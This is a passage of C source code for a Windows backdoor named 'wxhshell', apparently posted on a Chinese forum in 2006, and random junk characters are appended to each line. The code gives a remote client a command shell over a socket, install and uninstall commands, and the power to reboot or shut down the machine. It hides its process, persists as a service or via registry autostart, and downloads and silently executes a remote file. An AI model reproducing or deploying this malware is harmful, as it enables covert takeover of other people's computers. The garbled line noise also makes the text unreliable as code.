      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zB%~=@Q^6  
    break; $>/d)o  
  } [(n5-#1S  
  // 安装 ko}& X=  
  case 'i': { q'jOI_b  
    if(Install()) RE t&QP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \m7\}Nbz0/  
    else s@L ;3WdO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q6(~VvC-  
    break; gN/!w:  
    }  P@O_MT  
  // 卸载 )?72 +X  
  case 'r': { q{9vY:`[  
    if(Uninstall()) *B&P[n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UuIjtqW  
    else kQ=bd{a6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,ojJ;w5D  
    break; a?-Jj\q  
    } 29:2Xu i  
  // 显示 wxhshell 所在路径 [+WsVwyf?  
  case 'p': { U 4d7-&U  
    char svExeFile[MAX_PATH]; g V]4R"/  
    strcpy(svExeFile,"\n\r"); EP38Ho=[  
      strcat(svExeFile,ExeFile); @* hv|zjs  
        send(wsh,svExeFile,strlen(svExeFile),0); H r:*p6  
    break; $j- Fm:ZIA  
    } -)-: rRx-  
  // 重启 ?h`,@~6u  
  case 'b': { s~,!E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e,OXngC  
    if(Boot(REBOOT)) bm;iX*~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T]0K4dp+  
    else { `)O9 '568  
    closesocket(wsh); S:!5 |o|  
    ExitThread(0); OG#^d5(  
    } :+ YHj )mN  
    break; E:rJi]  
    } /,I?"&FWc  
  // 关机 W<<G  'Km  
  case 'd': { UW":&`i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0faf4LzU!  
    if(Boot(SHUTDOWN)) moM'RO,M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xDe^>(,"  
    else { ,U9j7E<4  
    closesocket(wsh); azmeJpC  
    ExitThread(0); 9ZOQNN<ex  
    } 86%k2~L  
    break; 7_Vd%<:  
    } T \34<+n1N  
  // 获取shell K;/f?3q  
  case 's': { J*g<]P&p0  
    CmdShell(wsh); T72Li"00  
    closesocket(wsh); z .lb(xQ  
    ExitThread(0); ';eAaDM  
    break; o<b  
  } tQj=m_  
  // 退出 nkq{_;xp  
  case 'x': { heF'7ezv#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s,-<P1}/  
    CloseIt(wsh); *)r_Y|vg  
    break; )cN=/i  
    } }f> 81[^  
  // 离开 Q]/g=Nn ^~  
  case 'q': { b0f6?s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2v?#r"d  
    closesocket(wsh); z@[n?t!7k  
    WSACleanup(); !/2kJOSp  
    exit(1); #~*v*F~3  
    break; BI2'NN\  
        } "`K73M,c?9  
  } ]I~BgE;C9  
  } I2{zy|&  
,vi6<C\  
  // 提示信息 cL %eP.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YbVZK4  
} `5t~ Vlp  
  } >taT V_,  
!H^R_GC  
  return; IL8&MA%  
} gO~>*q &  
1\f8-:C  
// shell模块句柄 b4^a zY  
int CmdShell(SOCKET sock) "(F:'J} X  
{ bxz6 >>  
STARTUPINFO si; /4BYH?*  
ZeroMemory(&si,sizeof(si)); IOUzj{G#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; My9fbT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wW/wvC-  
PROCESS_INFORMATION ProcessInfo; A- hWg;  
char cmdline[]="cmd"; ELV$!f|u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]=^NTm,  
  return 0; 53 ^1;  
} Wm58[;%LTw  
. =A|  
// 自身启动模式 JENq?$S  
int StartFromService(void) 4s&koH(x  
{ Cvs4dd%)i  
typedef struct )vur$RX  
{ 6v -2(Y  
  DWORD ExitStatus; `WU"*HqW  
  DWORD PebBaseAddress; [k +fkr]  
  DWORD AffinityMask; bO{wQ1)Z_  
  DWORD BasePriority; $ "^yoL  
  ULONG UniqueProcessId; wmS:*U2sc  
  ULONG InheritedFromUniqueProcessId; 2ap0/l[  
}   PROCESS_BASIC_INFORMATION; dJg72?"ka  
+Y^/0=6h  
PROCNTQSIP NtQueryInformationProcess; ~_L_un.R  
Jqi^Z*PuX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [.iz<Yh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i%_nH"h  
B8G1 #V_jK  
  HANDLE             hProcess; t?kbN\,  
  PROCESS_BASIC_INFORMATION pbi; ~4tu*\P  
|N>TPK&Xt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F0FF:><  
  if(NULL == hInst ) return 0; RnkrI~x  
0~XZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZA4vQDW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wg,w;Gle  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t7DT5SrR  
P\H$*6v(  
  if (!NtQueryInformationProcess) return 0; /v:+ vh*mS  
J4ltHk.|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); co%ttH\ n  
  if(!hProcess) return 0; 7l3sd5  
DPZG_{3D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m;nT ?kv  
1e#}+i!a  
  CloseHandle(hProcess); Fn!kest  
tcf>9YsOr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p9)'nU'\t  
if(hProcess==NULL) return 0; vN%SN>=L<  
Xj<B!Wn*Xb  
HMODULE hMod; "V;M,/Q|  
char procName[255]; /uzU]3KF~  
unsigned long cbNeeded; w+~s}ta2^  
0xM\+R~,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |^i+Srh  
zj^Ys`nl  
  CloseHandle(hProcess); LMrb 1lg$  
3X&}{M:Qo  
if(strstr(procName,"services")) return 1; // 以服务启动 aD@sb o  
#yk m  
  return 0; // 注册表启动 \]W*0t>s  
} Ln})\ UDK)  
g3(fhfR'RN  
// 主模块 S]3t{s#JW7  
int StartWxhshell(LPSTR lpCmdLine) qqSf17sW  
{ I7hE(2!$  
  SOCKET wsl; c?{&=,u2  
BOOL val=TRUE; VMUK|pC4 K  
  int port=0; r-+.Ax4L"  
  struct sockaddr_in door; S& % G B  
MGd 7Ont  
  if(wscfg.ws_autoins) Install(); h`OX()N  
"Fu*F/KW  
port=atoi(lpCmdLine); "3A.x1uQ  
geL)v7t+#  
if(port<=0) port=wscfg.ws_port; 8-c1q*q)  
I_IDrS)O  
  WSADATA data; ^|?/ y=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lz1l1.f8  
V_?5cwZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aCe<*;b@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CxC&+';  
  door.sin_family = AF_INET; mVN^X/L(y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -gl7mO*  
  door.sin_port = htons(port); lz?F ,].  
y_:i'Ri.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *4;MO2g  
closesocket(wsl); EM+#h'%-  
return 1; n5X0Gi9  
} j_VTa/  
C3 ^QNhv  
  if(listen(wsl,2) == INVALID_SOCKET) { ;#G)([  
closesocket(wsl); }u0t i"V  
return 1; y{ReQn3> y  
} Np=IZ npt  
  Wxhshell(wsl); IP K.  
  WSACleanup(); )2KQZMtgm]  
[!B($c|\  
return 0; 8|uFW7Q  
vkWh2z  
} K r9 P#Y  
5_@ u Be~  
// 以NT服务方式启动 o;+$AU1f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o qa]iBO  
{ #I jG[a-  
DWORD   status = 0; <\< [J0  
  DWORD   specificError = 0xfffffff; s*.CJ  
;q&6WO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =l?F_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <RfPd+</  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^W|B Xxo  
  serviceStatus.dwWin32ExitCode     = 0; s*<\ mwB  
  serviceStatus.dwServiceSpecificExitCode = 0; 5(0f"zY  
  serviceStatus.dwCheckPoint       = 0; =c 3;@CO  
  serviceStatus.dwWaitHint       = 0; Fp52 |w_  
!iBe/yb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]]~tFdh  
  if (hServiceStatusHandle==0) return; cs[_5r&:  
spIkXEK  
status = GetLastError(); e|)6zh<O:  
  if (status!=NO_ERROR) 1oq5|2p  
{ cn1UFmT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i`-,=RJ  
    serviceStatus.dwCheckPoint       = 0; bi`{ k\3A  
    serviceStatus.dwWaitHint       = 0; [jb3lO$Xa  
    serviceStatus.dwWin32ExitCode     = status; /,v>w,  
    serviceStatus.dwServiceSpecificExitCode = specificError; l<fZt#T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (\^| @  
    return; %c[Q_  
  }  AnK-\4  
w E^6DNh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +DMD g.  
  serviceStatus.dwCheckPoint       = 0; EugQr<sM#  
  serviceStatus.dwWaitHint       = 0; sHC4iMIw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tmM8YN|  
} t?J Y@hT*  
r[>4b}4s  
// 处理NT服务事件,比如:启动、停止 K:Mm?28s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >iefEv\  
{ NHKIZx8sR  
switch(fdwControl) ?M'_L']N[  
{ N\ nr  
case SERVICE_CONTROL_STOP: 6")co9  
  serviceStatus.dwWin32ExitCode = 0; F0,-7<G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V\k?$}  
  serviceStatus.dwCheckPoint   = 0; B^'Uh+Y  
  serviceStatus.dwWaitHint     = 0; A#&Q(g\YE  
  { 3,qq\gxB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x!$Dje}  
  } Z Z1s}TG  
  return; Gt{'` P,&9  
case SERVICE_CONTROL_PAUSE: xsjJ8>G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {4u8~whLp  
  break; pyPS5vWG  
case SERVICE_CONTROL_CONTINUE:  q0Rd^c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Sb_T _m  
  break; ('1k%`R%  
case SERVICE_CONTROL_INTERROGATE: }T!2IaAB  
  break; Q8:`;W  
}; u@!iByVAg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YLc 2:9  
} I{Pny/d`  
3wRk -sl  
// 标准应用程序主函数 w3j51v` 0'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SZ+<0Y |  
{ }Ip"j]h  
.BLF7> M1  
// 获取操作系统版本 .\*3t/R=X  
OsIsNt=GetOsVer(); _E({!t"`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m#[tY >Q[b  
7Gb(&'n  
  // 从命令行安装 6`LC(Nv%-n  
  if(strpbrk(lpCmdLine,"iI")) Install(); F">>,Oc)U"  
p_hljgOV  
  // 下载执行文件 |.D_[QI  
if(wscfg.ws_downexe) { o!Vs{RRu}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r30t`o12i  
  WinExec(wscfg.ws_filenam,SW_HIDE); %SV"iXxY  
} <&'Ye[k  
 >m!l5/  
if(!OsIsNt) { _#c^z;!  
// 如果时win9x,隐藏进程并且设置为注册表启动 !x9j~D'C`  
HideProc(); 5BKmp-m  
StartWxhshell(lpCmdLine); vfT<%Kl!'  
} U:]b&I  
else K7&A^$`  
  if(StartFromService()) W'{q  
  // 以服务方式启动 m,n V,}@J  
  StartServiceCtrlDispatcher(DispatchTable); md[FtcY\  
else &k3'UN!&Ix  
  // 普通方式启动 5G8`zy  
  StartWxhshell(lpCmdLine); v |/IN  
M%7H-^{  
return 0; aE^tc'h~  
}
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只看该作者 1 发表于: 2006-10-10
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